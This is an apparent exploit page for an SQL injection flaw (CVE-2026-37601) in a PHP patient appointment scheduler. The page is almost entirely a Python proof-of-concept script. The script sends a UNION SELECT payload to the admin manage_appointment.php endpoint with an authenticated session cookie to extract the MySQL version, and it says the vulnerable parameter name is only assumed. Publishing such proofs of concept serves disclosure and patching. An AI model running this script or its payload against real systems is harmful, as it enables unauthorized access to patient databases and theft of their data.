CVE-2026-37601 预约系统SQL注入漏洞

import requests # Exploit Title: SourceCodester Patient Appointment Scheduler System v1.0 - SQL Injection # Date: 2026-04-14 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14976/patient-appointment-scheduler-system-using-phpmysql-source-code.html # Version: v1.0 # Tested on: Ubuntu/Apache def exploit_sqli(target_url, session_cookie): """ Exploits SQL Injection in manage_appointment.php. Requires High Privileges (Admin). """ # The vulnerable endpoint endpoint = "/scheduler/admin/appointments/manage_appointment.php" # Example payload to extract MySQL version # Assuming the vulnerable parameter is 'id' (common in listing pages) # Adjust parameter name based on actual request interception payload = { "id": "1 UNION SELECT 1,2,version(),4,5,6,7,8-- -" } # Headers to simulate a browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Cookies for authentication (PR:H requirement) cookies = { "PHPSESSID": session_cookie } try: response = requests.get(target_url + endpoint, params=payload, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Content:") print(response.text) # Analyze response to confirm data extraction if "mysql" in response.text.lower() or response.text.startswith("5.") or response.text.startswith("8."): print("[!] SQL Injection successful. Database version detected.") else: print("[-] Injection may have failed or output not visible in HTML.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and admin session ID target = "http://localhost" admin_session = "your_admin_session_id_here" exploit_sqli(target, admin_session)